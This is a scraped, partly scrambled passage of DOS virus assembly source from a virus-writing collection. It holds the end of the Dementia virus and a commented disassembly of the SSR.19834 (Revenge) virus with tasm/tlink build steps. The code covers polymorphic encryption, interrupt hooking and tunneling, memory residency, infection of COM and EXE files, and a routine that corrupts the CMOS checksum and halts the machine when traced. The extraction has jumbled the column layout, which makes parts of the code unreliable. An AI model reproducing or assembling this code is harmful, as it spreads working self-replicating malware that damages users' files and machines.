byte ptr [si],00h ; End of string? call_teletyp ; Not equal? Jump to call_teletyp si,(_dementia_v-file_begin+100h) si ; Save SI at stack teletype_str si ; Load SI from stack prepare_tele

teletype_str proc near ; Teletype string lodsb ; AL = byte of _dementia_v cmp al,00h ; End of string? jne teletype_out ; Not equal? Jump to teletype_out mov jmp teletype_out: mov int

si,(_dementia_v-file_begin+100h) teletype_str ah,0eh 10h

; Teletype output

mov int jnz

ah,01h ; Check for keystroke 16h hot_bbs_exit ; Keystroke available? Jump to hot...

loop

teletype_str

mov

cx,0fh

; PUSH/POP/LOOP fifteen times

push xor

cx cx,cx

; Save CX at stack ; Zero CX

loop

loop__

pop

cx

loop

loop_

loop_:

loop__:

ret endp hot_bbs_exit: mov int

; Load CX from stack

; Return!

ax,0c02h 21h

; Flush buffer and read standard i...

call

cls_effect

mov int

ax,03h 10h

mov mov int

ah,09h ; Write string to standard output dx,(_c__little_l-file_begin+100h) 21h

mov

ax,4c00h

; Set video mode

; Terminate with return code

int

21h

set_cursor proc near mov ah,02h int 10h ret endp

; Set cursor position ; Set cursor position

; Return!

_dementia_v db '[Dementia v1.5b] -= 4 Ball Cafe''=- ' db '(801) PRI-VATE ì VX Support BBS ì USR Dual 28.8k ì' db ' 2 nodes -=*=',00h _c__little_l db '(C) Little Loc July ''94$' gfx_begin db 0ffh,1ah,00h,00h,44h,09h,65h,09h,6dh,09h,65h,09h,6eh,09h db 74h,09h,69h,09h,61h,09h,20h,09h,20h,09h,76h,09h,31h,09h db 2eh,09h,35h,09h,62h,09h,0ffh,2ah,3ah,00h,28h,09h,43h,09h db 29h,09h,20h,09h,4ah,09h,75h,09h,6eh,09h,65h,09h,20h,09h db 27h,09h,39h,09h,34h,09h,20h,09h,2dh,09h,4eh,09h,65h,09 db 63h,09h,72h,09h,6fh,09h,73h,09h,6fh,09h,66h,09h,74h,09h db 0ffh,0c6h,92h,00h,0dbh,0a0h,0ffh,0eh,5ah,01h,0b0h,3bh db 0ffh,3fh,18h,01h,0c0h,0ffh,0ch,0bah,01h,0b1h,3bh,0b1h,3bh db 0b1h,3bh,0ffh,48h,6ah,01h,0b2h,3bh,0ffh,08h,02h,02h,0ffh db 3ah,0beh,01h,0dbh,0c0h,0ffh,0ah,0ach,01h,20h,6bh,0dch,68h db 20h,68h,0dch,68h,20h,68h,0b1h,3bh,0ffh,42h,0c0h,01h,20h db 0e0h,20h,0e0h,0bfh,68h,7eh,68h,0dah,68h,20h,68h,20h,68h db 0ffh,37h,0eh,02h,0e0h,0ffh,06h,0e4h,02h,20h,0a0h,0ffh,06h db 0ech,02h,0c0h,68h,0c4h,68h,0d9h,68h,20h,28h,0ffh,06h,0fah db 02h,0ffh,08h,0e4h,02h,0dbh,0e0h,0ffh,2eh,6ch,02h,0dbh,86h db 0dbh,86h,20h,86h,20h,0a6h,20h,0a6h,0cdh,2ah,0cbh,2ah,0cdh db 2ah,20h,2ah,20h,2ah,20h,0fh,0dbh,86h,0dbh,86h,0ffh,30h db 66h,02h,0ffh,0dh,34h,03h,86h,20h,0a6h,20h,0a6h,0bah,0ffh db 07h,49h,03h,0ffh,07h,38h,03h,0ffh,3bh,79h,01h,20h,0fh,20h db 90h,20h,0a0h,20h,0ffh,06h,0e3h,03h,0ffh,07h,9fh,00h,0dch db 86h,0dch,86h,0ffh,39h,0a8h,03h,90h,20h,0ffh,0bh,31h,04h db 0dbh,81h,0ffh,05h,3eh,04h,86h,0dbh,86h,0ffh,39h,48h,04h db 96h,0ffh,05h,80h,04h,0fh,0dbh,90h,0dbh,90h,0dbh,90h,0ffh db 41h,8eh,04h,0e0h,0ffh,05h,0ceh,04h,0ffh,05h,09h,05h,0ffh db 06h,0e6h,02h,0ffh,0feh,0e0h,04h,0ffh,0ceh,0e0h,04h,50h db 08h,72h,08h,65h,08h,73h,08h,73h,08h,20h,08h,61h,08h,6eh db 08h,79h,08h,20h,08h,6bh,08h,65h,08h,79h,08h,0ffh,1ah,0e0h db 04h gfx_end: cls_effect proc near ; Clear screen effect push ax bx cx dx si di ss sp mov mov mov mov reset_count: mov mov reset_regs: mov mov

ax,0b800h es,ax

; AX = segment of text video RAM ; ES = " " " " "

word ptr ds:[(count-file_begin+100h)],0ch word ptr ds:[(count_-file_begin+100h)],0d0h ax,word ptr ds:[(count_-file_begin+100h)] word ptr ds:[(count__-file_begin+100h)],ax word ptr ds:[(row_count-file_begin+100h)],13h word ptr ds:[(column_count-file_begin+100h)],01h

mov

di,3d8h

; DI = offset of lower left corner...

mov mov

ax,word ptr ds:[(count-file_begin+100h)] word ptr ds:[(count___-file_begin+100h)],ax

mov

cx,word ptr ds:[(row_count-file_begin+100h)]

reset_cx:

dec

cx

; Decrease row counter

push push pop

ds es ds

; Save DS at stack ; Save ES at stack ; Load DS from stack (ES)

mov add

si,di si,02h

; SI = offset within segment of te... ; Add two to the index register

cld rep pop

movsw ds

mov

cx,word ptr ds:[(column_count-file_begin+100h)]

push push pop

ds es ds

; Save DS at stack ; Save ES at stack ; Load DS from stack (ES)

mov sub mov

si,di si,50h ax,52h

; SI = offset within segment of te... ; Subtract eighty from the index r... ; Subtract eigty-two from both reg...

; Clear direction flag ; Move two byte to the right ; Load DS from stack

cld

; Clear direction flag

movsw

; Move two bytes a column up

move_up:

sub sub

di,ax si,ax

; Subtract eighty-two from the ind... ; " " " " "

loop pop

move_up ds

; Load DS from stack

mov

cx,word ptr ds:[(row_count-file_begin+100h)]

push push pop

ds es ds

; Save DS at stack ; Save ES at stack ; Load DS from stack (ES)

mov sub

si,di si,02h

; SI = offset within segment of te... ; Subtract two from the index regi...

std rep pop

movsw ds

mov inc

cx,word ptr ds:[(column_count-file_begin+100h)] cx ; Increase column counter

push push pop

ds es ds

; Save DS at stack ; Save ES at stack ; Load DS from stack (ES)

mov add mov

si,di si,50h ax,52h

; SI = offset within segment of te... ; Add eighty to the index register ; Add eighty-two to both index reg...

std move_down: movsw add add

; Set direction flag ; Move two bytes to the left ; Load DS from stack

; Set direction flag ; Move two bytes a column down di,ax si,ax

; Add eighty-two to the index regi... ; " " " " " "

loop pop

move_down ds

add add

word ptr ds:[(row_count-file_begin+100h)],02h word ptr ds:[(column_count-file_begin+100h)],02h

dec jnz

word ptr ds:[(count___-file_begin+100h)] reset_cx ; Not zero? Jump to reset_cx

dec jz

word ptr ds:[(count__-file_begin+100h)] sub_count_ ; Zero? Jump to sub_count_

jmp sub_count_: sub

; Load DS from stack

reset_regs word ptr ds:[(count_-file_begin+100h)],08h

dec jz

word ptr ds:[(count-file_begin+100h)] cls_exit ; Zero? Jump to cls_exit

jmp

reset_count

pop

sp ss di si dx cx bx ax

cls_exit:

ret endp count___ count_ count__ row_count column_count count crypt_end_: file_end: temp_file request_iva filename receipt_iva hot_bbs__com file_specifi origin_code int21_addr int24_addr com_or_exe stack_ptr stack_seg instruct_ptr code_seg initial_ip initial_cs code_seg_ tst_filesize db db db db db db db crypt_begin: code_end: data_end:

; Return!

dw dw dw dw dw dw

db db db db db db db dd dd db dw dw dw dw dw dw dw dw

00h 00h 00h 00h 00h 00h

; ; ; ; ; ;

Counter Counter Counter Row counter Column counter Counter

'!#TEMP#!',00h ; Temporary file 'REQUEST.IVA',00h ; REQUEST.IVA 0dh dup(?) ; Filename 'RECEIPT.IVA ',00h ; RECEIPT.IVA 'HOT_BBS!.COM',00h ; HOT_BBS!.COM '*.*',00h ; File specification 0cdh,21h,? ; Original code of infected COM file ? ; Address of interrupt 21h ? ; Address of interrupt 24h 00h ; COM or EXE executable ? ; Original stack pointer ? ; Original stack segment ? ; Original instruction pointer ? ; Original code segment ? ; Initial IP ? ; Initial CS relative to start of ... ? ; Code segment 00h ; Test or don't test filesize '[Necrosoft.Dementia.Troll]',00h,0dh,0ah 'Copyright 1994 Necrosoft enterprises - All rights reserved',00h,0dh,0ah 'I knew all along that she was the one, ',0dh,0ah ' but I hid it down deep inside. ',0dh,0ah 'I couldn''t bring myself to tell her, ',0dh,0ah ' no matter how I tried. ',0dh,0ah,00h 16h dup(00h)

prepare_demt proc near ; Prepare Dementia.4207.b lea di,crypt_begin_+100h mov cx,(crypt_end_-crypt_begin_)/02h encrypt_loo_: xor [di],1995h ; Encrypt two bytes inc di ; Increase index register inc di ; " " " loop encrypt_loo_ mov

[call_imm16+100h],cx

jmp endp

delta_offset

end code_begin ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENT_B.ASM]ÄÄ

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ SSR.19834 ³ ³ or Revenge 2.05 ³ ³ Disassembled by ³ ³ Tcp/29A ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄThis is one of the biggest known viruses and probably the most encrypted one: four different polymorphic decryption bucles. Only these bucles waste more than 7k of code. About the virus itself, it has many interesting features, it was coded in a pretty uncommon way tho... there's code not used, it's not optimized, and has a lot of messages, apparently (i can't understand russian :) messing with some AVers. This virus seems to be an attempt to laugh about the deficiencies of some antiviruses (and exploit them) rather than writing a virus itself. By the end of the viral code, appear 921 bytes i didn't include in the disassembly as they have nothing to do with the virus, albeit they will be added to every infected file. I guess these bytes being copied are due to the fact that SSR left enough room for its 3 engines and eventually forgot to readjust the size. The binary file included in the \FILES directory is infected with an original copy of the virus and not with what you can get from the assembly of this file (because this source does not include the last 921 bytes of trash code). The code is commented enough so there's nothing else to say... if anybody wants to read something more about the functioning of this virus, i recommend to have a look to what AVPVE says about previous versions of this virus (there are some errors in the description tho).

Other data ÄÄÄÄÄÄÄÄÄÄ Virus : Size : Author : Origin : Disasm by :

Revenge 2.05 (aka SSR.19834) 19834 (11645 code+engines; 5000+1500+768 decryptors; 921 shit) Stainless Steel Rat Russia Tcp/29A

Send any question or comment to [email protected].

Compiling it ÄÄÄÄÄÄÄÄÄÄÄÄ Engines: tasm /m res.asm tasm /m ssrme.asm tasm /m mme.asm Virus: tasm /m ssr.asm tlink ssr res ssrme mme exe2bin ssr ssr.com - -[SSR.ASM]- - - - SSR assume org

RES_DEC SSRME_DEC MME_DEC DECRYPTORS

- - - - - - - - - - - - - - - - - - - - - - - - - >8 segment cs:SSR, ds:SSR, es:SSR, ss:SSR 0

= 768 = 5000 = 1500 = RES_DEC + SSRME_DEC + MME_DEC

SHIT_AT_END

=

921

SSR_SIZE RES_SIZE SSRME_SIZE MME_SIZE

= = = =

VIRUS_SIZE VIRUSCODE_SIZE

= SSR_SIZE+RES_SIZE+SSRME_SIZE+MME_SIZE+DECRYPTORS+SHIT_AT_END = VIRUS_SIZE - DECRYPTORS

host:

jmp org

((virus_end-virus_start+15)/16)*16 ((911+15)/16)*16 ((1507+15)/16)*16 1133

virus_start 100h

; Infected host ; Virus starts here

virus_start: call next_instruction: pop si jmp nop

next_instruction

get_delta

db

'Hi Hacker! Welcome to Hell',0

sub ds

si,offset(next_instruction)

; Hi SSR! ;)

get_delta: push pop es push push

ds es mov

cx,VIRUSCODE_SIZE-(decrypted_code-virus_start)

nop mov add di,si push es xor mov mov mov mov mov mov add ax,si mov mov pushf pop ax shr ah,1 shl inc push ax mov mov mov popf loop nop pop es jmp

di,offset(decrypted_code)

ax,ax es,ax ; ES:=0 ax,es:[1h*4] cs:[si+ofs_int1],ax ; Read & save int1 ax,es:[1h*4+2] cs:[si+seg_int1],ax ax,offset(int1_decryptor) es:[1h*4],ax es:[1h*4+2],cs

; Set new int1

ah,1 ah

; AH:=xxx0 ; AH:=xxx1 (trace flag on)

al,cs:[si+starting_dec_selector] cs:[si+dec_selector],al al,cs:[si+i1_mask] ; Trace flag on $ ; Decrypt code via int1

decrypted_code

int1_decryptor: push

push cx cmp jz

ax cx,0 restore_i1

; All code decrypted? ; Yes? then jmp

nop nop nop call mov cl,al mov decrypt_instruction: xor encrypt_decrypt db

select_dec_inst cs:[si+encrypt_decrypt],90h cs:[di],al 90h

; Select instruction from table ; NOP for decryption ; RET for encryption

inc di pop cx pop ax iret restore_i1:

retf

add mov mov mov mov 2

sp,4 ax,cs:[si+ofs_int1] es:[1h*4],ax ax,cs:[si+seg_int1] es:[1h*4+2],ax

i1_mask db 0 starting_dec_selector db ofs_int1 dw 0 seg_int1 dw 0 select_dec_inst: push cx push ax push si push di mov bx,si mov mov add di,si add si,bp mov ror al,1 mov and al,3 mov cl,3 mul cl add call pop di pop si pop ax pop cx ret copy_instruction: push ds push es push cs push cs pop ds pop es cld mov cx,3 rep pop es

; Restore original int1

0

bp,offset(decryption_instructions) di,offset(decrypt_instruction)

al,cs:[bx+dec_selector] cs:[bx+dec_selector],al

si,ax copy_instruction

movsb

; Select instruction

pop ds ret dec_selector

db

0

decryption_instructions: sub cs:[di],al add cs:[di],al xor cs:[di],al rol byte ptr cs:[di],cl decrypted_code: cmp je

cs:[si+host_type],1 host_exe

; Exe file? ; Yes? then jmp

nop nop nop mov di,offset(header) add di,si push si mov si,100h xchg di,si mov cx,e_header_exe-header_exe rep movsb ; Restore host (COM) pop si host_exe: push es xor ax,ax mov es,ax ; ES:=0 cmp es:[198h],0DEADh ; Resident? pop es jne install_virus ; No? then jmp nop nop nop jmp restore_exec_host install_virus: xor ax,ax mov es,ax mov ax,es:[30h*4+3] mov [si+realseg_i2f],ax mov ax,es:[1h*4] mov cs:[si+ofs_i1],ax mov ax,es:[1h*4+2] mov cs:[si+seg_i1],ax mov ax,es:[2Fh*4] mov cs:[si+ofs_i2f],ax mov ax,es:[2Fh*4+2] mov cs:[si+seg_i2f],ax mov es:[1h*4],offset(int_1) add es:[1h*4],si mov es:[1h*4+2],cs pushf pop ax and ah,0FEh inc ah push ax popf jmp start_tunneling nop db

; ; ; ; ; ; ; ; ; ; ; ;

ES:=0 Get int 21h segment (CP/M) Store for tunneling int 2Fh Offset int 1 Store it Segment int 1 Store it Offset int 2Fh Store it Segment int 2Fh Store it Tunneler

; AX:=flags ; Trace flag on

'Move over, I said move over',0

db db

'Hey, hey, hey, clear the way',0 'There''s no escape from my authority - I tell you -',0

start_tunneling: mov ax,0ABCDh push ds push es push si pushf ; db 9Ah ; ofs_i2f dw 0 seg_i2f dw 0 pushf pop ax ; and ah,0FEh ; push ax popf ; pop si pop es pop ds mov ax,cs:[si+ofs_i1] mov es:[1h*4],ax ; mov ax,cs:[si+seg_i1] mov es:[1h*4+2],ax xor bx,bx mov dx,bx mov ax,1300h push ds push es push si call int_2f ; pop si mov cs:[si+ofs_i13],dx ; mov cs:[si+seg_i13],ds mov ax,1300h push si call int_2f ; Restore pop si pop es pop ds jmp make_resident nop ofs_i1 seg_i1

dw dw

0 0

si call

getdelta_i1

Simulated int 2Fh call far

AX:=flags Trace flag off Stop tunneling

Restore original int 1

Get real int13h in DS:DX Store it

address from previous call

int_1: pushf push getdelta_i1: pop si push push push pushf

sub ax bp bx

pop mov bp,sp mov cmp jne nop

si,offset(getdelta_i1)

; Get delta-offset

bx

; Flags

ax,cs:[si+realseg_i2f] [bp+0Ch],ax no_real_i2f

; Original int 2Fh segment? ; No? then jmp

nop nop mov mov mov

ax,[bp+0Ah] cs:[si+realofs_i2f],ax [bp+0Eh],bx

; Get int 2fh offset ; Store it ; Flags

db dw dw ret

9Ah 0 0

mov

ax,ds

mov mov mov mov

es,ax dh,es:[0] byte ptr es:[0],'M' bx,VIRUSCODE_SIZE+100h

; ES->MCB ; Get 'M' or 'Z' ; Mark current block as 'middle'

shr

bx,cl

; div 16

add sub dec add

bx,40000/16 es:[3],bx word ptr es:[3] ax,es:[3]

; Space for encryption buffers

no_real_i2f: pop bx pop bp pop ax pop si popf iret int_2f: pushf realofs_i2f realseg_i2f

; call far

make_resident: dec ax

nop mov cl,4 inc bx inc bx

inc ax mov es,ax mov es:[0],dh mov word ptr es:[8],0 inc ax mov es:[1],ax mov es:[3],bx add ax,1 mov es,ax push si xor di,di mov cx,VIRUSCODE_SIZE nop l_copy_code: mov ah,cs:[si+100h] mov es:[di],ah inc si inc di loop l_copy_code pop si push ds push es pop ds xor ax,ax mov es,ax mov bx,es:[21h*4] mov es,es:[21h*4+2]

; Build a new MCB

; Put 'M' or 'Z' ; Block owner name ; Paragraph of owner ; Chain next MCB

; Copy code to new MCB

; ES:=0 ; Get int 21h

mov mov mov mov mov mov mov

seg_i21-100h,es ; Store it ofs_i21-100h,bx seg_i21_2-100h,es ofs_i21_2-100h,bx ax,es:[bx] ; Read 2 bytes from int 21h entry _2bytes_21h-100h,ax ; Store bytes es:[bx],0ACCDh ; Change bytes to 'int 0ACh'

pop es push si push cx xor si,si mov cx,int_24-virus_start nop in al,40h ; Get random number l_crypt_memcode: push cx mov mem_mask-100h,al ; Store mask mov cl,al add [si],cl ; Encrypt code in memory ror byte ptr [si],cl xor [si],cl inc si pop cx loop l_crypt_memcode pop cx pop si xor ax,ax mov es,ax ; ES:=0 cli mov es:[0ABh*4],offset(int_ab)-100h ; Set new int 0ABh mov es:[0ABh*4+2],ds mov es:[0ACh*4],offset(int_ac)-100h ; Set new int 0ACh mov es:[0ACh*4+2],ds mov es:[1Ch*4],offset(int_1c)-100h ; Set new int 1Ch mov es:[1Ch*4+2],ds mov es:[6h*4],offset(int_6)-100h ; Set new int 6 mov es:[6h*4+2],ds sti mov _signature-100h,dx ;?? mov returnAX_fffn-100h,dx ;?? jmp restore_exec_host int_ab: push push push push push push push push push push push cli

pushf ax bx cx dx bp si di ds es ax mov ax inc

inc sp nop dec sp dec sp sti

ax,':)'

sp

; Check if anyone is tracing

pop ax cmp je nop nop nop mov al,2Eh out out cli hlt no_tracing: pop ax push es push ax xor ax,ax mov mov mov mov pop ax pop es cmp je nop nop nop cmp je nop nop nop cmp jne nop nop nop jmp

ax,':)' no_tracing

; Being traced? ; No? then jmp

70h,al 71h,al

; CMOS: Select address 2Eh (checksum) ; CMOS: Write 2Eh (corrupt checksum) ; Halt computer

es,ax ; ES:=0 es:[198h],0DEADh ; Residency mark ax,cs:infection_count-100h es:[88h*4],ax ; ??

ax,4B00h try_to_infect

; Exec? ; Yes? then jmp

ah,3Dh try_to_infect

; Open? ; Yes? then jmp

ah,4Eh cmp_fn

; Find-first (handle)? ; No? then jmp

ff_fn

cmp_fn: cmp je jmp

ah,4Fh jmp_fffn popregs_iret

jmp

ff_fn

; Find-Next (handle)? ; Yes? then jmp

jmp_fffn:

try_to_infect: mov call search_extension: mov ah,[di] cmp jne jmp

di,dx convert2uppercase

; Convert filename to uppercase

ah,0 search_dot popregs_iret

; End of string? ; No? then jmp ; Yes? then jmp (no dot)

ah,'.' found_dot

; Dot? ; Yes? then jmp

search_dot: cmp je nop nop nop

inc jmp

di ; Next char search_extension

cmp jne

word ptr [di],'OC' check_if_exe

; *.CO*? ; No? then jmp

cmp je jmp

byte ptr [di+2],'M' jmp_jmp_infect popregs_iret

; *.COM? ; Yes? then jmp

jmp

jmp_infect

cmp je jmp

word ptr [di],'XE' maybe_exe popregs_iret

; *.EX*? ; Yes? then jmp

cmp je jmp

byte ptr [di+2],'E' jmp_infect popregs_iret

; *.EXE? ; Yes? then jmp

jmp

infect

db

'Gimme the prize, just gimme the prize',0

found_dot: inc di

nop nop nop

jmp_jmp_infect: nop check_if_exe:

maybe_exe:

jmp_infect: nop

infect: push es push ds push dx mov cx,cs sub cx,10h mov ds,cx mov call mov mov mov mov call pop dx pop ds pop es push ds push dx mov call jnc nop nop nop pop dx pop ds jmp

ax,3524h int_21 ; Get int 24h ofs_i24,bx ; Save it seg_i24,es dx,offset(int_24) ah,25h int_21 ; Set new int 24h

ax,4300h int_21 reset_attr

restore_i24

; Get file attributes

reset_attr: mov mov xor call jnc

cs:attributes-100h,cx ax,4301h cx,cx int_21 ; Reset attributes check_name

jmp

restore_i24

nop nop nop pop dx pop ds

check_name: call push es xor ax,ax mov mov mov mov mov mov mov mov di,dx l_search_ext: cmp je nop nop nop inc di jmp

check_valid_fname

es,ax ; ES:=0 ax,es:[2Ah*4] ; Get int 2Ah cs:ofs_i2a-100h,ax ax,es:[2Ah*4+2] cs:seg_i2a-100h,ax es:[2Ah*4],offset(int_2a)-100h es:[2Ah*4+2],cs

byte ptr [di],'.' found_ext

; Set new int 2Ah

; Dot? ; Yes? then jmp

l_search_ext

found_ext: mov mov mov mov mov ax,3D02h push es call pop es jnc nop nop nop call pop es jmp

al,[di+1] ; Get first char of extension cs:byte_ext-100h,al ; Save it cs:ofs_byte_ext-100h,di ; and save its address cs:seg_byte_ext-100h,ds ; BUG!!! Missing 'mov [di+1],xx'

int_21

; Open file I/O

open_ok

restore_i2a restore_attr

open_ok: push

ax call

restore_i2a

jmp

read_header

cmp jne

ah,82h exit_i2a

pop ax pop es nop int_2a:

; Int 2Ah: Called by int 21h ; End DOS critical sections 0-7 ? ; No? then jmp

nop nop nop push push push

es di ax mov mov mov mov mov

di,cs:seg_byte_ext-100h ; Restore file extension es,di di,cs:ofs_byte_ext-100h al,cs:byte_ext-100h es:[di+1],al

dw dw db dw dw

0 0 0 0 0

mov mov mov mov

ax,cs:ofs_i2a-100h es:[2Ah*4],ax ax,cs:seg_i2a-100h es:[2Ah*4+2],ax

mov sub mov mov mov mov mov call jnc jmp

cx,cs cx,10h ds,cx ; DS:=CS-10h bx,ax ah,3Fh cx,e_header_exe-header_exe dx,offset(header) int_21 ; Read file header get_timedate close_file

pop ax pop di pop es exit_i2a: iret ofs_byte_ext seg_byte_ext byte_ext ofs_i2a seg_i2a restore_i2a: ; Restore int 2Ah

ret read_header:

get_timedate: mov ax,5700h call jnc jmp

int_21 timedate_ok close_file

; Get file time/date

timedate_ok: push mov mov cl,5 shr ax,cl and mov dx,ax pop and cmp jne jmp

cx ax,dx

; File date

ax,0Fh

; Get month

ax ax,1Fh ax,dx check_header close_file

; ; ; ;

File time Get seconds Infected? (seconds==month) No? then jmp

check_header: mov

file_month,dx

; Save file month

cmp jne jmp

_signature,'ZM' cmp_mark2 is_exe

; Exe mark? ; No? then jmp ; Yes? then jmp

cmp jne jmp

_signature,'MZ' is_com is_exe

; Exe mark? ; No? then jmp ; Yes? then jmp

mov call jc

host_type,0 check4pklite_com no_pk_com

; COM file ; PKLited file? ; No? then jmp

lseekDX_functionAX encrypted_byte,53h

; Lseek 190h & read a byte ; Encrypt it

lseekDX_functionAX pklite_com,1

; Lseek 190h & write the byte ; It's a pklited file

dx,inc_ofs_patch1

; offset 2 for Pklite 1.50+ ; offset 1 for other versions

cmp_mark2:

is_com:

nop nop nop mov dx,190h mov ah,3Fh call add mov dx,190h mov ah,40h call mov mov dx,1 add xor cx,cx mov ax,4200h call jnc jmp patch_pklite_com: mov mov cx,2 mov call jnc jmp patch_pklite_com2: mov xor jmp

int_21 patch_pklite_com close_file

dx,offset(_FFFF) ah,40h int_21

; Patch file with a 0FFFFh to give ; control to the out-of-memory routine patch_pklite_com2 close_file

dx,ofs_patchcom2 cx,cx mark_encrypted

; Offset of 2nd patch

pklite_com,0 byte ptr header,0E9h cmp_call

; It isn't a pklited file ; Start with a JMP? ; No? then jmp

ax,word ptr header+1 ax,3 jmp_dest,ax word ptr header,0EBAh encrypted_byte?,0FFh

; Offset of jump ; Destiny of jump ; This will be the entry point

lseekDX_functionAX encrypted_byte,53h

; Lseek 190h and read a byte ; Encrypt it

no_pk_com: mov cmp jne nop nop nop mov add mov mov mov mov dx,190h mov ah,3Fh call add

mov dx,190h mov ah,40h call jmp nop

lseekDX_functionAX mark_no_pkcom2

; Lseek 190h and save the byte

cmp jne

byte ptr header,0E8h encrypt190

; CALL? ; No? then jmp

mov add mov mov mov jmp

ax,word ptr header+1 ax,3 jmp_dest,ax word ptr header,0EBAh encrypted_byte?,0 mark_no_pkcom2

; Offset of call ; Destiny of call ; This will be the entry point

lseekDX_functionAX encrypted_byte,53h

; Lseek 190h and read a byte ; Encrypt it

lseekDX_functionAX mark_no_pkcom

; Lseek 190h and write the byte

cmp_call:

nop nop nop

nop encrypt190: mov dx,190h mov ah,3Fh call add mov dx,190h mov ah,40h call jmp nop lseekDX_functionAX: push ax mov xor call pop ax mov mov call ret

ax,4200h cx,cx int_21

; Lseek start+DX

dx,offset(encrypted_byte) cx,1 int_21 ; Perform AX function

mark_no_pkcom: xor xor mov

dx,dx cx,cx pklite_com,0

mov mov jmp

jmp_dest,0 encrypted_byte?,0FFh check_com_size

mov xor xor

pklite_com,0 cx,cx dx,dx

mark_encrypted:

nop mark_no_pkcom2:

check_com_size: push cx push dx mov xor xor call

ax,4202h cx,cx dx,dx int_21

; Lseek end

pop dx pop cx cmp jb jmp

ax,27434 cmp_little close_file

; Big file? ; No? then jmp

cmp ja jmp

ax,400 size_ok close_file

; Little file? ; No? then jmp

mov add cmp jne

cs:ofs_vircode-100h,ax ; Calc runtime offset cs:ofs_vircode-100h,100h pklite_com,1 ; Pklited file? calc_ofs_jmp ; No? then jmp

sub sub jmp

ax,3 ; Calculate jmp to virus in pklite code ax,ofs_patchcom2 store_jmp_virus

sub

ax,3

mov mov mov call jnc jmp

jmp_vir_h,ah jmp_vir_l,al ax,4200h int_21 write_jmp close_file

mov mov mov call jnc jmp

ah,40h dx,offset(jmp_com) cx,3 int_21 ; Write jmp jmp_append_code close_file

jmp

append_code

db

'Save me,save me',0

mov xor xor call mov

ax,4202h cx,cx dx,dx int_21 ; Lseek end cx,VIRUSCODE_SIZE

mov mov ds cs

ax,0BA00h es,ax

xor xor rep

si,si di,di movsb

cmp_little:

size_ok:

nop nop nop

nop calc_ofs_jmp: ; Jmp to virus in non-pklited file

store_jmp_virus:

; Lseek to offset to patch

write_jmp:

jmp_append_code: nop

append_code:

nop

push push pop ds

; Encryption buffer

; Copy code to encryption buffer

pop ds in mov mov mov

al,40h ; Get random number es:starting_dec_selector-100h,al enc_selector,al cx,VIRUSCODE_SIZE-(decrypted_code-virus_start)

in mov mov sub xor

al,40h ; Get random number es:i1_mask-100h,al di,offset(decrypted_code) di,100h dx,dx

nop

l_enc_i1: call push cx mov cl,al enc_inst: nop nop nop pop cx inc di loop jmp db db db db db db db db crypt_code_and_save: push ds push es pop ds push bx mov push bx add mov mov shr ax,cl inc ax mov dx,cs add ax,dx mov es,ax mov nop xor dx,dx push es push ds call pop es xor di,di xor si,si push cx cld rep pop cx push es pop ds

encrypt_i1

l_enc_i1 crypt_code_and_save 0 'Give me your WEBs, let me squeeze them in my hands,',0 'Your puny scaners,',0 'Your so-called heuristics analyzers,',0 'I''ll eat them whole before I''m done,',0 'The battle''s fought and the game is won,',0 'I am the one the only one,',0 'I am the god of kingdom come,',0

bx,cs:ofs_vircode-100h bx,MME_DEC+SSRME_DEC ax,VIRUSCODE_SIZE cl,4 ; Prepare buffer

cx,VIRUSCODE_SIZE

res_engine

movsb

; Call engine

pop es pop bx push push push

bx add es ds call

pop es xor di,di xor si,si push cx cld rep pop cx push es pop ds pop es pop bx call pop bx push ds mov ah,40h call pop es pop ds jnc jmp

bx,MME_DEC

ssrme_engine

; Call engine

movsb

mme_engine

; Call engine

int_21

; Write virus body to disk

check_pkexe_snd close_file

check_pkexe_snd: cmp jne jmp

pklite_exe,1 check_pkcom_snd set_infection_mark

; PKLited EXE file? ; No? then jmp

cmp jne jmp

pklite_com,1 check_tlink_snd set_infection_mark

; PKLited COM file? ; No? then jmp

cmp jne jmp

byte ptr word_ofs1C,1 check_lzexe_snd set_infection_mark

; Linked with Borland TLINK? ; No? then jmp

cmp jne jmp

word_ofs1C,'ZL' jmp_SND set_infection_mark

; LZEXE file? ; No? then jmp

jmp nop

SND

db

'Seek aNd Destroy Technology [SND]',0

check_pkcom_snd:

check_tlink_snd:

check_lzexe_snd:

jmp_SND:

SND: xor cx,cx xor dx,dx mov ax,4200h call push ds mov ax,0BA00h mov mov ah,3Fh

int_21

; Lseek start

ds,ax

; DS:=0BA00h

xor dx,dx mov call push ax mov xor di,di l_next_SND: cmp je nop nop nop cmp jne nop nop nop cmp jne nop nop nop mov mov push ax call and mov bp,ax mov mov call mov [di+2],al mov dl,al pop ax xor mov add di,4 jmp nop cmp_movax_int21h: cmp jne nop nop nop mov mov push ax call and mov bp,ax mov inc mov call mov mov dl,al mov dh,al pop ax xor mov add di,5

cx,16*1024 int_21

; Read 16KB from file

cx,ax

; CX:=number of bytes read

byte ptr [di],0B8h cmp_movax_int21h

; MOV AX,xxxx? ; Yes? then jmp

byte ptr [di],0B4h next_SND

; MOV AH,xx? ; No? then jmp

word ptr [di+2],21CDh next_SND

; INT 21h?

; Found MOV AH,xx + INT 21h al,[di+1] byte ptr [di],0F0h

; Get xx in MOV AH,xx ; Int 6h when executed

get_random ax,7

; AX in [0..7]

al,byte ptr cs:[bp+SND_table-100h] [di+1],al ; Gen instruction get_random

al,dl [di+3],al

; Encrypt original byte ; and store it

next_SND

word ptr [di+3],21CDh next_SND

; INT 21h?

ax,[di+1] byte ptr [di],0F0h

; xxxx in MOV AX,xxxx ; Int 6h when executed

get_random ax,7

; AX in [0..7]

al,byte ptr cs:[bp+SND_table-100h] al ; AL -> AX [di+1],al ; Generate opcode get_random [di+2],al ; Random number

ax,dx [di+3],ax

; Encrypt original word ; and store it

next_SND: inc di loop xor dx,dx xor cx,cx mov call pop ax xor dx,dx mov cx,ax mov ah,40h call pop ds jmp nop

l_next_SND

ax,4200h int_21

; Lseek start

int_21

; Write code

set_infection_mark

get_random: pushf in xor al,cs:[bx] ror al,cl add al,53h popf ret

al,40h

; Get random number

